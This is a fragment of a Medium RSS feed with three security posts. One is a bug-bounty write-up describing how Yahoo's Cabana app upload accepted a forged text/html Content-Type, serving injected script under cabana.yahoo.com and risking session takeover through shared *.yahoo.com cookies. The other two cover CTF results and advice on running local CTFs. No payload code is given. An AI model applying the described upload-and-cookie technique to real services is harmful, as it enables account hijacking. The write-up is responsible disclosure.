            <content:encoded><![CDATA[<p>While doing a security research on Yahoo Inc. systems, I decided to analyze its iOS apps and see how they were handled. Yahoo in general has wide variety of scopes from all of its *.yahoo.com domain to domains of it acquisitions as well. That said, many researchers focus on web application that Yahoo has which leaves some of its iOS apps vulnerable.</p><p>First process was to download the app. To test out a security of one of its services, I downloaded Cabana. Cabana is an iOS app developed by Yahoo Inc. : <a href="https://itunes.apple.com/us/app/cabana-hang-out-watch-stuff/id1217648367?mt=8">https://itunes.apple.com/us/app/cabana-hang-out-watch-stuff/id1217648367?mt=8</a>. When first downloading it looks that this allows users to send pictures and share live videos with their friends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPEhSGzIDT_UFmo37o_mfQ.png" /><figcaption>Photo Take from iTunes</figcaption></figure><p>After the app was downloaded, it requested that I signup on the website. Once the signup was done, it asked, me to upload a profile picture. While using the app, I used Burp Suite to intercept/monitor every request the app was making. When the picture was uploaded, it sent a POST request to cabana.yahoo.com and uploaded the jpeg image. Cabana mostly relies on image sharing, so I decided to play around with its upload function. It seemed that no matter what was in the POST request, it will by default set the filetype to <em>image/jpeg</em>. This was done through Content-Type header. I forwarded this request to the Repeater tab.</p><p>In the repeater tab, I changed the Content-Type from image/jpeg to text/html and added a simple script. When the request was forwarded, in return it gave me a link that had .html extension on it. When the link was copied and browsed to, it showed that the link was actually working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giiS9qXc3g5UHkyyqV7pQg.png" /></figure><p>To further check a basic impact, I went to yahoo.com domain and scanned the cookies on that site. It seemed that both cabana.yahoo.com and yahoo.com shared cookie Id T and F. This is because that the cookies are allowed to be shared in all *.yahoo.com domains. This can allow for session takeover specially in cabana mobile app because it uses T as its main cookie.</p><p>Timeline:</p><p>04 May 2017 — Report submitted to Yahoo Inc.</p><p>05 May 2017 — Report Triaged by Yahoo Security Team.</p><p>10 May 2017 — Reply from Yahoo Inc. about a fix being added. Additional recommendation was provided to Yahoo Inc. to create a more appropriate fix because the file was still being created in the backend.</p><p>June 1 2017 — Bounty Awarded by Yahoo</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d58d71085a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSec Nepal Official Results]]></title>
            <link>https://medium.com/websec-ctf/websec-nepal-official-results-c84a7dc66707?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/c84a7dc66707</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Sat, 08 Jul 2017 08:17:44 GMT</pubDate>
            <atom:updated>2017-07-08T08:50:47.476Z</atom:updated>
            <content:encoded><![CDATA[<p>This week from June 7, 2017 to June 8, 2017 a 24 hour CTF was conducted by WebSec CTF for Nepali hackers. Our goal was to train them and get them excited to different parts of security research. This included making them understand the importance of being upto date on multiple security events. Having knowledge of different events can sometimes help in Recon events for security research and red team exercise. If you knew a website got hacked previously, you can possibly get a RCE on them again if they had not fixed their code.</p><p>This 24 hour CTF was only possible due to our sponsors: Cobalt (cobalt.io) and OWASP Nepal chapter.</p><p>After the 24 hour CTF here are the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJ5HDTj_0SvqCuoz7XOKKQ.png" /><figcaption>Official Scorebaord</figcaption></figure><p>All together, there was about 815 points for grab for this 24 hour CTF. Team TheLostSoul placed first followed by ThugX and Paan ko Paat. We are proud to have conducted this CTF and hope we can move this up to other communities in the future.</p><p>If you want to run a CTF for your college, companies, or even nation contact ctf@securifyredteam.com to learn more about how you can get involved. If you want to sponsor our events you can also email ctf@securifyredteam.com.</p><p>Here is a complete writeup on challenges of this CTF: <a href="https://medium.com/websec-ctf/websec-ctf-writeups-for-all-challenges-7452714477d2">https://medium.com/websec-ctf/websec-ctf-writeups-for-all-challenges-7452714477d2</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c84a7dc66707" width="1" height="1" alt=""><hr><p><a href="https://medium.com/websec-ctf/websec-nepal-official-results-c84a7dc66707">WebSec Nepal Official Results</a> was originally published in <a href="https://medium.com/websec-ctf">WebSec CTF</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Organizing a local CTF — my 2 cents]]></title>
            <link>https://medium.com/@uranium238/organizing-a-local-ctf-my-2-cents-b102284662d1?source=rss-b38782431a04------2</link>
            <guid isPermaLink="false">https://medium.com/p/b102284662d1</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Uranium238s]]></dc:creator>
            <pubDate>Mon, 03 Jul 2017 00:43:19 GMT</pubDate>
            <atom:updated>2017-07-03T00:43:19.506Z</atom:updated>
            <content:encoded><![CDATA[<p>CTF or also known as Capture the Flag competition in my opinion help security professionals or people interested in the field to challenge themselves to actually attack a server, find vulnerabilities and get the flag. CTF vary from web challenges, reverse engineer, crypto and and sometimes OSINT. Most CTF are conducted in global level, allowing participants to compete from any part of the world. At WebSec CTF, we took a different approach this time.</p><p>WebSec CTF decided to start national CTFs instead of global CTF. There are some nations in the world who have developing security communities but what they need is a sense of guidance and also chance to test their knowledge in vulnerable servers. This is why WebSec CTF decided that we will launch CTF in national level and move onto international for final competitions as we get more sponsors. Our first national competition was conducted 6 months ago as a test run. This CTF tested expertise of Nepali hackers/researchers. During and after the CTF, we got good feedbacks and ideas on how we could improve this challenge. WebSec CTF usually runs for about 3–4 days but we learned that it will be better if it is between 24–48 hrs. This way competition will be in the hike during that period and competitors will spend hard time in solving the challenges.</p><p>Here was the result from our Part 1 CTF in Nepal: <a href="https://github.com/websecctf/websecnepal-writeups">https://github.com/websecctf/websecnepal-writeups</a></p><p>Soon after that, with help of one of our members, we got sponsored by Cobalt.io and OWASP Nepal chapter to launch another CTF. Our goal to launch more CTF in Nepal is because we have seen the potential of Nepali researchers rising in this community if they are given the opportunity to learn and take back from these competitions. Our goal is that as they compete they will understand, that not all vulnerabilities are same specially in web apps. Thinking out of the box is always the key to success in CTFs. As a frequent CTF participant myself, I have learned a lot doing multiple challenges and understanding how systems work. This has allowed me to help others in understanding the same. Along with that playing CTF allows you to have excellent communication skills. For coming CTFs, WebSec CTF has decided that our competitors should write their own writeups as they solve the challenges. As we gain sponsors, we might even award the best sponsors.</p><p>Local CTF could be beneficial in multiple aspects. You will be focusing on specific geographic place and will have less amount of competitors. That way, you won’t get hammered with thousands of questions. You could also create targeted CTF questions. Questions related to the geographic place can be awesome. During our test run 6 months ago, we created a challenge where competitors utilized google maps to learn about places in Nepal and track the attacker through OSINT.</p><p>As a person who plays CTFs and organizes small CTFs, I recommend that every security professional do the same. Create a small CTF for your engineering department, for your college, for your club, for your high school &amp; middle school, for your friends or for your nation. Small initiative can bring big changes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b102284662d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>